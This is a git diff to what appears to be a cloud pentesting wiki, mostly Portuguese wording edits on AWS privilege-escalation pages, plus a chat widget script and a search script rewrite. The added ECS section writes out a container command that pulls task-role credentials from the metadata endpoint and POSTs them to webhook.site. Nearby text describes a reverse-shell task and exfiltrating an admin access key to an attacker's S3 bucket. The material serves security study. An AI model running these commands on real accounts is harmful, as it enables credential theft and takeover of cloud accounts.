diff --git a/book.toml b/book.toml index f20e2d2a2..a1b0f52ed 100644 --- a/book.toml +++ b/book.toml @@ -31,6 +31,7 @@ additional-js = [ "theme/tabs.js", "theme/ht_searcher.js", "theme/sponsor.js", + "theme/ai.js" ] no-section-label = true preferred-dark-theme = "hacktricks-dark" diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md index 519c25ff1..a93d0a7c4 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md @@ -12,7 +12,7 @@ Obtenha mais informações em: ### `codebuild:StartBuild` | `codebuild:StartBuildBatch` -Apenas com uma dessas permissões é suficiente para acionar uma construção com um novo buildspec e roubar o token do papel iam atribuído ao projeto: +Apenas com uma dessas permissões é suficiente para acionar uma construção com um novo buildspec e roubar o token da função iam atribuída ao projeto: {{#tabs }} {{#tab name="StartBuild" }} @@ -214,7 +214,7 @@ JSON="{ printf "$JSON" > $REV_PATH -aws codebuild update-project --cli-input-json file://$REV_PATH +aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH aws codebuild start-build --project-name codebuild-demo-project ``` @@ -309,7 +309,7 @@ O projeto codebuild precisará ter um ponto de interrupção:
phases:
 pre_build:
 commands:
-- echo Entrou na fase pre_build...
+- echo Entered the pre_build phase...
 - echo "Hello World" > /tmp/hello-world
       - codebuild-breakpoint
 
@@ -325,7 +325,7 @@ Para mais informações [**verifique a documentação**](https://docs.aws.amazon Um atacante capaz de iniciar/reiniciar uma build de um projeto específico do CodeBuild que armazena seu arquivo `buildspec.yml` em um bucket S3 ao qual o atacante tem acesso de escrita, pode obter execução de comandos no processo do CodeBuild. -Nota: a escalada é relevante apenas se o trabalhador do CodeBuild tiver um papel diferente, esperançosamente mais privilegiado, do que o do atacante. +Nota: a elevação de privilégios é relevante apenas se o trabalhador do CodeBuild tiver um papel diferente, esperançosamente mais privilegiado, do que o do atacante. ```bash aws s3 cp s3:///buildspec.yml ./ @@ -354,7 +354,7 @@ commands: **Impacto:** Privesc direto para o papel usado pelo trabalhador do AWS CodeBuild que geralmente tem altos privilégios. > [!WARNING] -> Note que o buildspec pode ser esperado em formato zip, então um atacante precisaria baixar, descompactar, modificar o `buildspec.yml` do diretório raiz, compactar novamente e fazer o upload. +> Note que o buildspec pode ser esperado no formato zip, então um atacante precisaria baixar, descompactar, modificar o `buildspec.yml` do diretório raiz, compactar novamente e fazer o upload. Mais detalhes podem ser encontrados [aqui](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/). diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md index 21175a2e8..502c4eb72 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md @@ -13,6 +13,9 @@ Mais **informações sobre ECS** em: ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` Um atacante que abusar da permissão `iam:PassRole`, `ecs:RegisterTaskDefinition` e `ecs:RunTask` no ECS pode **gerar uma nova definição de tarefa** com um **container malicioso** que rouba as credenciais de metadados e **executá-lo**. + +{{#tabs }} +{{#tab name="Reverse Shell" }} ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -32,6 +35,46 @@ aws ecs run-task --task-definition iam_exfiltration \ ## You need to remove all the versions (:1 is enough if you just created one) aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ``` +{{#endtab }} + +{{#tab name="Webhook" }} + +Crie um webhook com um site como webhook.site +```bash + +# Create file container-definition.json +[ +{ +"name": "exfil_creds", +"image": "python:latest", +"entryPoint": ["sh", "-c"], +"command": [ +"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890" +] +} +] + +# Run task definition, uploading the .json file +aws ecs register-task-definition \ +--family iam_exfiltration \ +--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ +--network-mode "awsvpc" \ +--cpu 256 \ +--memory 512 \ +--requires-compatibilities FARGATE \ +--container-definitions file://container-definition.json + +# Check the webhook for a response + +# Delete task definition +## You need to remove all the versions (:1 is enough if you just created one) +aws ecs deregister-task-definition --task-definition iam_exfiltration:1 + +``` +{{#endtab }} + +{{#endtabs }} + **Impacto Potencial:** Privesc direto para um papel ECS diferente. ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` @@ -97,7 +140,7 @@ aws ecs run-task \ ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** Este cenário é como os anteriores, mas **sem** a permissão **`iam:PassRole`**.\ -Isso ainda é interessante porque se você puder executar um contêiner arbitrário, mesmo que seja sem uma função, você poderia **executar um contêiner privilegiado para escapar** para o nó e **roubar a função IAM do EC2** e as **outras funções dos contêineres ECS** em execução no nó.\ +Isso ainda é interessante porque se você puder executar um contêiner arbitrário, mesmo que seja sem uma função, você poderia **executar um contêiner privilegiado para escapar** para o nó e **roubar a função IAM do EC2** e as **outras funções de contêineres ECS** em execução no nó.\ Você poderia até **forçar outras tarefas a serem executadas dentro da instância EC2** que você comprometeu para roubar suas credenciais (como discutido na [**seção Privesc para nó**](aws-ecs-privesc.md#privesc-to-node)). > [!WARNING] @@ -144,7 +187,7 @@ aws ecs run-task --task-definition iam_exfiltration \ ``` ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -Um atacante com o **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** pode **executar comandos** dentro de um contêiner em execução e exfiltrar a função IAM anexada a ele (você precisa das permissões de descrição porque é necessário executar `aws ecs execute-command`).\ +Um atacante com as permissões **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** pode **executar comandos** dentro de um contêiner em execução e exfiltrar a função IAM anexada a ele (você precisa das permissões de descrição porque é necessário executar `aws ecs execute-command`).\ No entanto, para fazer isso, a instância do contêiner precisa estar executando o **ExecuteCommand agent** (que por padrão não está). Portanto, o atacante pode tentar: diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md index 305d049db..73e58de1e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md @@ -16,7 +16,7 @@ Um atacante poderia enviar mensagens maliciosas ou indesejadas para o tópico SN ```bash aws sns publish --topic-arn --message ``` -**Impacto Potencial**: Exploração de vulnerabilidades, corrupção de dados, ações não intencionais ou exaustão de recursos. +**Impacto Potencial**: Exploração de vulnerabilidades, Corrupção de dados, ações não intencionais ou exaustão de recursos. ### `sns:Subscribe` @@ -28,7 +28,7 @@ aws sns subscribe --topic-arn --protocol --endpoint ### `sns:AddPermission` -Um atacante poderia conceder acesso a um tópico SNS a usuários ou serviços não autorizados, potencialmente obtendo permissões adicionais. +Um atacante poderia conceder acesso a usuários ou serviços não autorizados a um tópico SNS, potencialmente obtendo permissões adicionais. ```css aws sns add-permission --topic-arn --label --aws-account-id --action-name ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md index 9345f19f1..bf75183fb 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md @@ -4,7 +4,7 @@ ## Step Functions -Para mais informações sobre este serviço AWS, consulte: +Para mais informações sobre este serviço AWS, verifique: {{#ref}} ../aws-services/aws-stepfunctions-enum.md @@ -25,11 +25,11 @@ Ou você também pode ir à documentação da API AWS e verificar a documentaç ### `states:TestState` & `iam:PassRole` -Um atacante com as permissões **`states:TestState`** & **`iam:PassRole`** pode testar qualquer estado e passar qualquer função IAM para ele sem criar ou atualizar uma máquina de estado existente, permitindo acesso não autorizado a outros serviços AWS com as permissões da função. potencialmente. Combinadas, essas permissões podem levar a ações não autorizadas extensas, desde manipulação de fluxos de trabalho para alterar dados até vazamentos de dados, manipulação de recursos e escalonamento de privilégios. +Um atacante com as permissões **`states:TestState`** & **`iam:PassRole`** pode testar qualquer estado e passar qualquer função IAM para ele sem criar ou atualizar uma máquina de estado existente, potencialmente permitindo acesso não autorizado a outros serviços AWS com as permissões da função. Combinadas, essas permissões podem levar a ações não autorizadas extensas, desde manipulação de fluxos de trabalho para alterar dados até vazamentos de dados, manipulação de recursos e escalonamento de privilégios. ```bash aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] ``` -Os seguintes exemplos mostram como testar um estado que cria uma chave de acesso para o usuário **`admin`** aproveitando essas permissões e um papel permissivo do ambiente AWS. Este papel permissivo deve ter qualquer política de alto privilégio associada a ele (por exemplo, **`arn:aws:iam::aws:policy/AdministratorAccess`**) que permite que o estado execute a ação **`iam:CreateAccessKey`**: +Os seguintes exemplos mostram como testar um estado que cria uma chave de acesso para o **`admin`** usuário aproveitando essas permissões e um papel permissivo do ambiente AWS. Este papel permissivo deve ter qualquer política de alto privilégio associada a ele (por exemplo, **`arn:aws:iam::aws:policy/AdministratorAccess`**) que permite que o estado execute a ação **`iam:CreateAccessKey`**: - **stateDefinition.json**: ```json @@ -75,7 +75,7 @@ aws states start-execution --state-machine-arn [--name ] [--input # Start a Synchronous Express state machine execution aws states start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ] ``` -Os seguintes exemplos mostram como criar uma máquina de estados que cria uma chave de acesso para o **`admin`** e exfiltra essa chave de acesso para um bucket S3 controlado por um atacante, aproveitando essas permissões e um papel permissivo do ambiente AWS. Esse papel permissivo deve ter qualquer política de alto privilégio associada a ele (por exemplo, **`arn:aws:iam::aws:policy/AdministratorAccess`**) que permite que a máquina de estados execute as ações **`iam:CreateAccessKey`** e **`s3:putObject`**. +Os seguintes exemplos mostram como criar uma máquina de estado que cria uma chave de acesso para o **`admin`** usuário e exfiltra essa chave de acesso para um bucket S3 controlado pelo atacante, aproveitando essas permissões e um papel permissivo do ambiente AWS. Esse papel permissivo deve ter qualquer política de alto privilégio associada a ele (por exemplo, **`arn:aws:iam::aws:policy/AdministratorAccess`**) que permite que a máquina de estado execute as ações **`iam:CreateAccessKey`** e **`s3:putObject`**. - **stateMachineDefinition.json**: ```json @@ -134,11 +134,11 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1 > [!WARNING] > O bucket S3 controlado pelo atacante deve ter permissões para aceitar uma ação s3:PutObject da conta da vítima. -**Impacto Potencial**: Execução não autorizada e manipulação de fluxos de trabalho e acesso a recursos sensíveis, potencialmente levando a violações de segurança significativas. +**Impacto Potencial**: Execução não autorizada e manipulação de fluxos de trabalho e acesso a recursos sensíveis, potencialmente levando a brechas de segurança significativas. ### `states:UpdateStateMachine` & (não sempre necessário) `iam:PassRole` -Um atacante com a permissão **`states:UpdateStateMachine`** seria capaz de modificar a definição de uma máquina de estados, podendo adicionar estados extras furtivos que poderiam resultar em uma escalada de privilégios. Dessa forma, quando um usuário legítimo inicia uma execução da máquina de estados, este novo estado furtivo malicioso será executado e a escalada de privilégios será bem-sucedida. +Um atacante com a permissão **`states:UpdateStateMachine`** seria capaz de modificar a definição de uma máquina de estados, podendo adicionar estados extras furtivos que poderiam resultar em uma escalada de privilégios. Dessa forma, quando um usuário legítimo inicia uma execução da máquina de estados, esse novo estado furtivo malicioso será executado e a escalada de privilégios será bem-sucedida. Dependendo de quão permissivo é o IAM Role associado à máquina de estados, um atacante enfrentaria 2 situações: diff --git a/theme/ai.js b/theme/ai.js new file mode 100644 index 000000000..bb8af53b7 --- /dev/null +++ b/theme/ai.js @@ -0,0 +1,332 @@ +/** + * HackTricks AI Chat Widget v1.15 – Markdown rendering + sanitised + * ------------------------------------------------------------------------ + * • Replaces the static “…” placeholder with a three-dot **bouncing** loader + * • Renders assistant replies as Markdown while purging any unsafe HTML + * (XSS-safe via DOMPurify) + * ------------------------------------------------------------------------ + */ +(function () { + const LOG = "[HackTricks-AI]"; + + /* ---------------- User-tunable constants ---------------- */ + const MAX_CONTEXT = 3000; // highlighted-text char limit + const MAX_QUESTION = 500; // question char limit + const TOOLTIP_TEXT = + "💡 Highlight any text on the page,\nthen click to ask HackTricks AI about it"; + + const API_BASE = "https://www.hacktricks.ai/api/assistants/threads"; + const BRAND_RED = "#b31328"; // HackTricks brand + + /* ------------------------------ State ------------------------------ */ + let threadId = null; + let isRunning = false; + + const $ = (sel, ctx = document) => ctx.querySelector(sel); + if (document.getElementById("ht-ai-btn")) { + console.warn(`${LOG} Widget already injected.`); + return; + } + (document.readyState === "loading" + ? document.addEventListener("DOMContentLoaded", init) + : init()); + + /* ==================================================================== */ + /* 🔗 1. 3rd-party libs → Markdown & sanitiser */ + /* ==================================================================== */ + function loadScript(src) { + return new Promise((resolve, reject) => { + const s = document.createElement("script"); + s.src = src; + s.onload = resolve; + s.onerror = () => reject(new Error(`Failed to load ${src}`)); + document.head.appendChild(s); + }); + } + + async function ensureDeps() { + const deps = []; + if (typeof marked === "undefined") { + deps.push(loadScript("https://cdn.jsdelivr.net/npm/marked/marked.min.js")); + } + if (typeof DOMPurify === "undefined") { + deps.push( + loadScript( + "https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.2.5/purify.min.js" + ) + ); + } + if (deps.length) await Promise.all(deps); + } + + function mdToSafeHTML(md) { + // 1️⃣ Markdown → raw HTML + const raw = marked.parse(md, { mangle: false, headerIds: false }); + // 2️⃣ Purify + return DOMPurify.sanitize(raw, { USE_PROFILES: { html: true } }); + } + + /* ==================================================================== */ + async function init() { + /* ----- make sure marked & DOMPurify are ready before anything else */ + try { + await ensureDeps(); + } catch (e) { + console.error(`${LOG} Could not load dependencies`, e); + return; + } + + console.log(`${LOG} Injecting widget… v1.15`); + + await ensureThreadId(); + injectStyles(); + + const btn = createFloatingButton(); + createTooltip(btn); + const panel = createSidebar(); + const chatLog = $("#ht-ai-chat"); + const sendBtn = $("#ht-ai-send"); + const inputBox = $("#ht-ai-question"); + const resetBtn = $("#ht-ai-reset"); + const closeBtn = $("#ht-ai-close"); + + /* ------------------- Selection snapshot ------------------- */ + let savedSelection = ""; + btn.addEventListener("pointerdown", () => { + savedSelection = window.getSelection().toString().trim(); + }); + + /* ------------------- Helpers ------------------------------ */ + function addMsg(text, cls) { + const b = document.createElement("div"); + b.className = `ht-msg ${cls}`; + + // ✨ assistant replies rendered as Markdown + sanitised + if (cls === "ht-ai") { + b.innerHTML = mdToSafeHTML(text); + } else { + // user / context bubbles stay plain-text + b.textContent = text; + } + + chatLog.appendChild(b); + chatLog.scrollTop = chatLog.scrollHeight; + return b; + } + const LOADER_HTML = + ''; + + function setInputDisabled(d) { + inputBox.disabled = d; + sendBtn.disabled = d; + } + function clearThreadCookie() { + document.cookie = "threadId=; Path=/; Max-Age=0"; + threadId = null; + } + function resetConversation() { + chatLog.innerHTML = ""; + clearThreadCookie(); + panel.classList.remove("open"); + } + + /* ------------------- Panel open / close ------------------- */ + btn.addEventListener("click", () => { + if (!savedSelection) { + alert("Please highlight some text first to then ask HackTricks AI about it."); + return; + } + if (savedSelection.length > MAX_CONTEXT) { + alert( + `Highlighted text is too long (${savedSelection.length} chars). Max allowed: ${MAX_CONTEXT}.` + ); + return; + } + chatLog.innerHTML = ""; + addMsg(savedSelection, "ht-context"); + panel.classList.add("open"); + inputBox.focus(); + }); + closeBtn.addEventListener("click", resetConversation); + resetBtn.addEventListener("click", resetConversation); + + /* --------------------------- Messaging --------------------------- */ + async function sendMessage(question, context = null) { + if (!threadId) await ensureThreadId(); + if (isRunning) { + addMsg("Please wait until the current operation completes.", "ht-ai"); + return; + } + + isRunning = true; + setInputDisabled(true); + const loadingBubble = addMsg("", "ht-ai"); + loadingBubble.innerHTML = LOADER_HTML; + + const content = context + ? `### Context:\n${context}\n\n### Question to answer:\n${question}` + : question; + try { + const res = await fetch(`${API_BASE}/${threadId}/messages`, { + method: "POST", + credentials: "include", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ content }) + }); + if (!res.ok) { + let err = `Unknown error: ${res.status}`; + try { + const e = await res.json(); + if (e.error) err = `Error: ${e.error}`; + else if (res.status === 429) + err = "Rate limit exceeded. Please try again later."; + } catch (_) {} + loadingBubble.textContent = err; + return; + } + const data = await res.json(); + loadingBubble.remove(); + if (Array.isArray(data.response)) + data.response.forEach((p) => { + addMsg( + p.type === "text" && p.text && p.text.value + ? p.text.value + : JSON.stringify(p), + "ht-ai" + ); + }); + else if (typeof data.response === "string") + addMsg(data.response, "ht-ai"); + else addMsg(JSON.stringify(data, null, 2), "ht-ai"); + } catch (e) { + console.error("Error sending message:", e); + loadingBubble.textContent = "An unexpected error occurred."; + } finally { + isRunning = false; + setInputDisabled(false); + chatLog.scrollTop = chatLog.scrollHeight; + } + } + + async function handleSend() { + const q = inputBox.value.trim(); + if (!q) return; + if (q.length > MAX_QUESTION) { + alert( + `Your question is too long (${q.length} chars). Max allowed: ${MAX_QUESTION}.` + ); + return; + } + inputBox.value = ""; + addMsg(q, "ht-user"); + await sendMessage(q, savedSelection || null); + } + sendBtn.addEventListener("click", handleSend); + inputBox.addEventListener("keydown", (e) => { + if (e.key === "Enter" && !e.shiftKey) { + e.preventDefault(); + handleSend(); + } + }); + } + + /* ==================================================================== */ + async function ensureThreadId() { + const m = document.cookie.match(/threadId=([^;]+)/); + if (m && m[1]) { + threadId = m[1]; + return; + } + try { + const r = await fetch(API_BASE, { method: "POST", credentials: "include" }); + const d = await r.json(); + if (!r.ok || !d.threadId) throw new Error(`${r.status} ${r.statusText}`); + threadId = d.threadId; + document.cookie = + `threadId=${threadId}; Path=/; Secure; SameSite=Strict; Max-Age=7200`; + } catch (e) { + console.error("Error creating threadId:", e); + alert("Failed to initialise the conversation. Please refresh and try again."); + throw e; + } + } + + /* ==================================================================== */ + function injectStyles() { + const css = ` + #ht-ai-btn{position:fixed;bottom:20px;left:50%;transform:translateX(-50%);width:60px;height:60px;border-radius:50%;background:#1e1e1e;color:#fff;font-size:28px;display:flex;align-items:center;justify-content:center;cursor:pointer;z-index:99999;box-shadow:0 2px 8px rgba(0,0,0,.4);transition:opacity .2s} + #ht-ai-btn:hover{opacity:.85} + @media(max-width:768px){#ht-ai-btn{display:none}} + #ht-ai-tooltip{position:fixed;padding:6px 8px;background:#111;color:#fff;border-radius:4px;font-size:13px;white-space:pre-wrap;pointer-events:none;opacity:0;transform:translate(-50%,-8px);transition:opacity .15s ease,transform .15s ease;z-index:100000} + #ht-ai-tooltip.show{opacity:1;transform:translate(-50%,-12px)} + #ht-ai-panel{position:fixed;top:0;right:0;height:100%;width:350px;max-width:90vw;background:#000;color:#fff;display:flex;flex-direction:column;transform:translateX(100%);transition:transform .3s ease;z-index:100000;font-family:system-ui,-apple-system,Segoe UI,Roboto,"Helvetica Neue",Arial,sans-serif} + #ht-ai-panel.open{transform:translateX(0)} + @media(max-width:768px){#ht-ai-panel{display:none}} + #ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333} + #ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center} + #ht-ai-close,#ht-ai-reset{cursor:pointer;font-size:18px;background:none;border:none;color:#fff;padding:0} + #ht-ai-close:hover,#ht-ai-reset:hover{opacity:.7} + #ht-ai-chat{flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:12px;font-size:14px} + .ht-msg{max-width:90%;line-height:1.4;padding:10px 12px;border-radius:8px;white-space:pre-wrap;word-wrap:break-word} + .ht-user{align-self:flex-end;background:${BRAND_RED}} + .ht-ai{align-self:flex-start;background:#222} + .ht-context{align-self:flex-start;background:#444;font-style:italic;font-size:13px} + #ht-ai-input{display:flex;gap:8px;padding:12px 16px;border-top:1px solid #333} + #ht-ai-question{flex:1;min-height:40px;max-height:120px;resize:vertical;padding:8px;border-radius:6px;border:none;font-size:14px} + #ht-ai-send{padding:0 18px;border:none;border-radius:6px;background:${BRAND_RED};color:#fff;font-size:14px;cursor:pointer} + #ht-ai-send:disabled{opacity:.5;cursor:not-allowed} + /* Loader animation */ + .ht-loading{display:inline-flex;align-items:center;gap:4px} + .ht-loading span{width:6px;height:6px;border-radius:50%;background:#888;animation:ht-bounce 1.2s infinite ease-in-out} + .ht-loading span:nth-child(2){animation-delay:0.2s} + .ht-loading span:nth-child(3){animation-delay:0.4s} + @keyframes ht-bounce{0%,80%,100%{transform:scale(0);}40%{transform:scale(1);} } + ::selection{background:#ffeb3b;color:#000} + ::-moz-selection{background:#ffeb3b;color:#000}`; + const s = document.createElement("style"); + s.id = "ht-ai-style"; + s.textContent = css; + document.head.appendChild(s); + } + + function createFloatingButton() { + const d = document.createElement("div"); + d.id = "ht-ai-btn"; + d.textContent = "🤖"; + document.body.appendChild(d); + return d; + } + + function createTooltip(btn) { + const t = document.createElement("div"); + t.id = "ht-ai-tooltip"; + t.textContent = TOOLTIP_TEXT; + document.body.appendChild(t); + btn.addEventListener("mouseenter", () => { + const r = btn.getBoundingClientRect(); + t.style.left = `${r.left + r.width / 2}px`; + t.style.top = `${r.top}px`; + t.classList.add("show"); + }); + btn.addEventListener("mouseleave", () => t.classList.remove("show")); + } + + function createSidebar() { + const p = document.createElement("div"); + p.id = "ht-ai-panel"; + p.innerHTML = ` +
HackTricks AI Chat +
+ + +
+
+
+
+ + +
`; + document.body.appendChild(p); + return p; + } +})(); diff --git a/theme/ht_searcher.js b/theme/ht_searcher.js index f2b4de026..f3dc65c1f 100644 --- a/theme/ht_searcher.js +++ b/theme/ht_searcher.js @@ -1,524 +1,554 @@ -"use strict"; -window.search = window.search || {}; -(function search(search) { - // Search functionality - // - // You can use !hasFocus() to prevent keyhandling in your key - // event handlers while the user is typing their search. - - if (!Mark || !elasticlunr) { - return; - } - - //IE 11 Compatibility from https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/startsWith - if (!String.prototype.startsWith) { - String.prototype.startsWith = function(search, pos) { - return this.substr(!pos || pos < 0 ? 0 : +pos, search.length) === search; - }; - } - - var search_wrap = document.getElementById('search-wrapper'), - search_modal = document.getElementById('search-modal'), - searchbar = document.getElementById('searchbar'), - searchbar_outer = document.getElementById('searchbar-outer'), - searchresults = document.getElementById('searchresults'), - searchresults_outer = document.getElementById('searchresults-outer'), - searchresults_header = document.getElementById('searchresults-header'), - searchicon = document.getElementById('search-toggle'), - content = document.getElementById('content'), - - searchindex = null, - doc_urls = [], - results_options = { - teaser_word_count: 30, - limit_results: 30, - }, - search_options = { - bool: "AND", - expand: true, - fields: { - title: {boost: 1}, - body: {boost: 1}, - breadcrumbs: {boost: 0} +/* ──────────────────────────────────────────────────────────────── + Polyfill so requestIdleCallback works everywhere (IE 11/Safari) + ─────────────────────────────────────────────────────────────── */ + if (typeof window.requestIdleCallback !== "function") { + window.requestIdleCallback = function (cb) { + const start = Date.now(); + return setTimeout(function () { + cb({ + didTimeout: false, + timeRemaining: function () { + return Math.max(0, 50 - (Date.now() - start)); } - }, - mark_exclude = [], - marker = new Mark(content), - current_searchterm = "", - URL_SEARCH_PARAM = 'search', - URL_MARK_PARAM = 'highlight', - teaser_count = 0, - - SEARCH_HOTKEY_KEYCODE = 83, - ESCAPE_KEYCODE = 27, - DOWN_KEYCODE = 40, - UP_KEYCODE = 38, - SELECT_KEYCODE = 13; - - function hasFocus() { - return searchbar === document.activeElement; - } - - function removeChildren(elem) { - while (elem.firstChild) { - elem.removeChild(elem.firstChild); - } - } - - // Helper to parse a url into its building blocks. - function parseURL(url) { - var a = document.createElement('a'); - a.href = url; - return { - source: url, - protocol: a.protocol.replace(':',''), - host: a.hostname, - port: a.port, - params: (function(){ - var ret = {}; - var seg = a.search.replace(/^\?/,'').split('&'); - var len = seg.length, i = 0, s; - for (;i': '>', - '"': '"', - "'": ''' - }; - var repl = function(c) { return MAP[c]; }; - return function(s) { - return s.replace(/[&<>'"]/g, repl); - }; - })(); - - function formatSearchMetric(count, searchterm) { - if (count == 1) { - return count + " search result for '" + searchterm + "':"; - } else if (count == 0) { - return "No search results for '" + searchterm + "'."; - } else { - return count + " search results for '" + searchterm + "':"; - } - } - - function formatSearchResult(result, searchterms) { - var teaser = makeTeaser(escapeHTML(result.doc.body), searchterms); - teaser_count++; - - // The ?URL_MARK_PARAM= parameter belongs inbetween the page and the #heading-anchor - var url = doc_urls[result.ref].split("#"); - if (url.length == 1) { // no anchor found - url.push(""); - } - - // encodeURIComponent escapes all chars that could allow an XSS except - // for '. Due to that we also manually replace ' with its url-encoded - // representation (%27). - var searchterms = encodeURIComponent(searchterms.join(" ")).replace(/\'/g, "%27"); - - return '' + result.doc.breadcrumbs - + '' - + teaser + '' + ''; - } - - function makeTeaser(body, searchterms) { - // The strategy is as follows: - // First, assign a value to each word in the document: - // Words that correspond to search terms (stemmer aware): 40 - // Normal words: 2 - // First word in a sentence: 8 - // Then use a sliding window with a constant number of words and count the - // sum of the values of the words within the window. Then use the window that got the - // maximum sum. If there are multiple maximas, then get the last one. - // Enclose the terms in . - var stemmed_searchterms = searchterms.map(function(w) { - return elasticlunr.stemmer(w.toLowerCase()); }); - var searchterm_weight = 40; - var weighted = []; // contains elements of ["word", weight, index_in_document] - // split in sentences, then words - var sentences = body.toLowerCase().split('. '); - var index = 0; - var value = 0; - var searchterm_found = false; - for (var sentenceindex in sentences) { - var words = sentences[sentenceindex].split(' '); - value = 8; - for (var wordindex in words) { - var word = words[wordindex]; - if (word.length > 0) { - for (var searchtermindex in stemmed_searchterms) { - if (elasticlunr.stemmer(word).startsWith(stemmed_searchterms[searchtermindex])) { - value = searchterm_weight; - searchterm_found = true; - } - }; - weighted.push([word, value, index]); - value = 2; - } - index += word.length; - index += 1; // ' ' or '.' if last word in sentence - }; - index += 1; // because we split at a two-char boundary '. ' - }; - - if (weighted.length == 0) { - return body; - } - - var window_weight = []; - var window_size = Math.min(weighted.length, results_options.teaser_word_count); - - var cur_sum = 0; - for (var wordindex = 0; wordindex < window_size; wordindex++) { - cur_sum += weighted[wordindex][1]; - }; - window_weight.push(cur_sum); - for (var wordindex = 0; wordindex < weighted.length - window_size; wordindex++) { - cur_sum -= weighted[wordindex][1]; - cur_sum += weighted[wordindex + window_size][1]; - window_weight.push(cur_sum); - }; - - if (searchterm_found) { - var max_sum = 0; - var max_sum_window_index = 0; - // backwards - for (var i = window_weight.length - 1; i >= 0; i--) { - if (window_weight[i] > max_sum) { - max_sum = window_weight[i]; - max_sum_window_index = i; - } - }; - } else { - max_sum_window_index = 0; - } - - // add around searchterms - var teaser_split = []; - var index = weighted[max_sum_window_index][2]; - for (var i = max_sum_window_index; i < max_sum_window_index+window_size; i++) { - var word = weighted[i]; - if (index < word[2]) { - // missing text from index to start of `word` - teaser_split.push(body.substring(index, word[2])); - index = word[2]; - } - if (word[1] == searchterm_weight) { - teaser_split.push("") - } - index = word[2] + word[0].length; - teaser_split.push(body.substring(word[2], index)); - if (word[1] == searchterm_weight) { - teaser_split.push("") - } - }; - - return teaser_split.join(''); - } - - function init(config) { - results_options = config.results_options; - search_options = config.search_options; - searchbar_outer = config.searchbar_outer; - doc_urls = config.doc_urls; - searchindex = elasticlunr.Index.load(config.index); - - // Set up events - searchicon.addEventListener('click', function(e) { searchIconClickHandler(); }, false); - search_wrap.addEventListener('click', function(e) { searchIconClickHandler(); }, false); - search_modal.addEventListener('click', function(e) { e.stopPropagation(); }, false); - searchbar.addEventListener('keyup', function(e) { searchbarKeyUpHandler(); }, false); - document.addEventListener('keydown', function(e) { globalKeyHandler(e); }, false); - // If the user uses the browser buttons, do the same as if a reload happened - window.onpopstate = function(e) { doSearchOrMarkFromUrl(); }; - // Suppress "submit" events so the page doesn't reload when the user presses Enter - document.addEventListener('submit', function(e) { e.preventDefault(); }, false); - - // If reloaded, do the search or mark again, depending on the current url parameters - doSearchOrMarkFromUrl(); + }, 1); + }; + window.cancelIdleCallback = window.clearTimeout; } - function unfocusSearchbar() { - // hacky, but just focusing a div only works once - var tmp = document.createElement('input'); - tmp.setAttribute('style', 'position: absolute; opacity: 0;'); - searchicon.appendChild(tmp); - tmp.focus(); - tmp.remove(); - } + + /* ──────────────────────────────────────────────────────────────── + search.js + ─────────────────────────────────────────────────────────────── */ - // On reload or browser history backwards/forwards events, parse the url and do search or mark - function doSearchOrMarkFromUrl() { - // Check current URL for search request - var url = parseURL(window.location.href); - if (url.params.hasOwnProperty(URL_SEARCH_PARAM) - && url.params[URL_SEARCH_PARAM] != "") { - showSearch(true); - searchbar.value = decodeURIComponent( - (url.params[URL_SEARCH_PARAM]+'').replace(/\+/g, '%20')); - searchbarKeyUpHandler(); // -> doSearch() - } else { - showSearch(false); + "use strict"; + window.search = window.search || {}; + (function search(search) { + // Search functionality + // + // You can use !hasFocus() to prevent keyhandling in your key + // event handlers while the user is typing their search. + + if (!Mark || !elasticlunr) { + return; } - - if (url.params.hasOwnProperty(URL_MARK_PARAM)) { - var words = decodeURIComponent(url.params[URL_MARK_PARAM]).split(' '); - marker.mark(words, { 